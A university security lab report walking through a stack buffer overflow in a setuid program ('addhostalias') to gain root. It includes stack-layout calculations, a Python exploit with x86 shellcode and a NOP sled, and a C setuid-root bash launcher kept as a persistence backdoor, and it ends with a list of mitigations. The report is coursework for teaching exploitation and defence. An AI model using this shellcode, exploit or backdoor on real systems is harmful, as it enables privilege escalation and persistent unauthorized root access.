# Lab 2 report

# TDA602

# Group 22

# 19/4 2018

**Fredrik Mårlind**

**Jesper Rask**

**Daniel Posch**

- **An explanation of how your exploit gains root access in detail, including memory layout.**
- **Details on how you created the exploit, including how you found the return address (no bruteforcing).**

If we inspect the vulnerable program addhostalias, we can figure out how the frame looks like. We need to know how the stack looks like to in order to do calculations on where we should place the return address, and where to put the NOPS etc. We know that the vulnerable part of this program is the line “sprintf(formatbuffer, "%s\t%s\t%s\n", ip, hostname, alias);” , because no bounds are checked, and therefore we can create a buffer overflow.

A character is 1 byte, the pointers are 4 bytes, return address 4 bytes and frame pointer 4 bytes. This is all we need to do the calculations.

```
          *file    formatbuffer      fp    ret   *id  *Hname  *alias
<------ [     ] [                ][    ][    ][    ][       ][       ]
          4           256          4     4     4     4        4
```

sprintf(formatbuffer, "%s\t%s\t%s\n", ip, hostname, alias);

The Sprintf takes format buffer, format string and 3 arguments. This is where we want to place our “malicious string. Depending on where we place this string, in what argument, we need to take the tabs into account, however it does not matter where we put the malicious code as long as we keep track of what tabs to count with. We decided on using the third argument. The following calculations are based on the third argument, (2 tabs added).

Basically we want to fill the buffer all the way to the return address, so in our case that is:

**4 +256 + 4 = 264 bytes.** We have 264 bytes to work with, now what should we put in those bytes?

Since we use the third argument we need to take 2 tabs into account. This gives us:

**1 + 1 + (262).**

In this 262 bytes we need to put the shellcode(where we create a bash shell, with root), we need a return address of our choice, some NOPS and fp (frame pointer). We know that the shellcode is 75 bytes, the fp is 4 bytes and the return address is 4 bytes, which leaves us with **262 - 75 - (4 + 4) = 179.** We have space for 179 NOPS.The memory will look something like this:

```
    \t\t +   179* \x90    + shellcode   'aaaa'     retaddr
[                                      ][          ][             ]
          /\                           /\      4           4
      Put ret addr                     255
```

We recreated a scenario with the stack using GDB to see what return address we want to use. We created a breakpoint at fopen and ran the command "run '' '' $python hack.py" and then "x/x100 $sp" to show the stack in the terminal. Then we chose a address fairly in the beginning of the NOPs (which we could see in the memory by looking for "90" in the address blocks) to ensure that we put the return address before the shellcode in memory. Since the NOPs will do nothing and go to the next instruction until we get to the shell code and execute it.

- **Any scripts and/or programs you wrote or used.**

This was the python script we created to get the "malicious string":

```
#Start of formatbuffer: 0xbffffb8c

shellcode = ('\xb9\xff\xff\xff\xff\x31\xc0\xb0\x31\xcd\x80'
        +'\x89\xc3\x31\xc0\xb0\x46\xcd\x80\x31\xc0\xb0'
        +'\x32\xcd\x80\x89\xc3\xb0\x31\xb0\x47\xcd\x80'
        +'\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68'
        +'\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0'
        +'\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x90\x90\x90'
        +'\x90\x90\x90\x90\x90\x90\x90\x90\x90')

nop = ""
addr = '\xb0\xfa\xff\xbf'

for i in range(0,179):
   nop += '\x90'

# [NOP][NOP]....[NOP][Shellcode][ADDR]
print nop+shellcode+addr+addr
```

- **Instructions how to regain root access, even without the root password. Clearly, rerunning the exploit is not a valid answer.**

We found a C program that sets the users UID, GID, … to root and then launches a bash window. When we first get root access we make the root account own this program and then set the setuid bit on it. If we then run the program we will launch a root shell. The program looks like this:

```
/*
  Program taken from http://koltsoff.com/pub/getroot/
  All credits goes to Aleksandr Koltsoff (czr@iki.fi)
  Comments have been striped from original source
*/

#include <unistd.h>    /* setuid, .. */
#include <sys/types.h>          /* setuid, .. */
#include <grp.h>       /* setgroups */
#include <stdio.h>     /* perror */

int main (int argc, char** argv) {

  gid_t newGrp = 0;

  if (setuid(0) != 0) {
    perror("Setuid failed, no suid-bit set?");
    return 1;
  }
  setgid(0);
  seteuid(0);
  setegid(0);

  setgroups(1, &newGrp);

  execvp("/bin/bash", argv);

  return 0;
}
```

- **What is the shellcode doing?**

The shellcode basically does what the C program we used does, it sets the userid, groupid

- **Anything else you think is helpful to reproduce your attack, e.g. ~/.bash_history**

Not really.

- **Modern systems have ways to mitigate these problems. Enumerate them and discuss them.**

- **Address space Layout Randomization (Kernel)**

Randomizes starting address for various parts of executable eg data, stack and code. That way it's difficult for an attacker to guess which addresses to use in an attack. ASLR can be disabled in linux with a command.

- **Executable Stack Protection (Compiler)**

This is a technique of preventing buffer overflow attacks. The stack portion of the memory is not executable.

- **Stack smashing protection (Compiler)**

Rearranges the variables in the stack to prevent stack smashing.

- **Position Independent Executables (PIE) (Compiler)**

Programs need to be build as PIE in order to take advantage of ASLR. PIE has 5-10 % slow down in performance for x86 systems, but protects new users from buffer overflow.

- **Fortify Source (Compiler)**

Fortify source uses several protections during compile-time and run-time, to prevent buffer overflows. The fortify source provides checks of buffer length overflow and memory regions.

- **Stack Protector (Compiler)**

The stack protector  enables a run-time stack overflow verification, protecting against stack overflows. This also reducing the chances of arbitrary code execution, by controlling the destination of the return address.

- **Coverty code advisor (Tool)**

Uses flags to indicate potential buffer overflows. These flags can be triaged and fixed individually, and there is no need to search through the code base for the flags. This is a tool that is combined with regular code reviews and the knowledge about how the address buffer overflows.

- **Bounds Checking (Compiler)**

This is a compiler technique that adds run time information about allocated blocks of memory. At run time it will check the pointers against this information.

- **Use safe functions (Programmer)**

Use functions that doesn’t allow bufferoverflows, for example using snprintf instead of sprintf since you can specify a bound.

A big part of the responsibility lays on the programmer. Eliminating buffer overflows require a consistent detection and  the programmer needs to be familiar with secure implementations for buffer handling. The best protection is to use a language that does not allow buffer overflows(rust, .NET etc) and avoid (C , C++). C and C++ allows vulnerabilities by providing direct access to memory. However, there are several protection solutions to help programmers to avoid buffer overflows in their programs, such as ASLR, PIE, stack smash protection.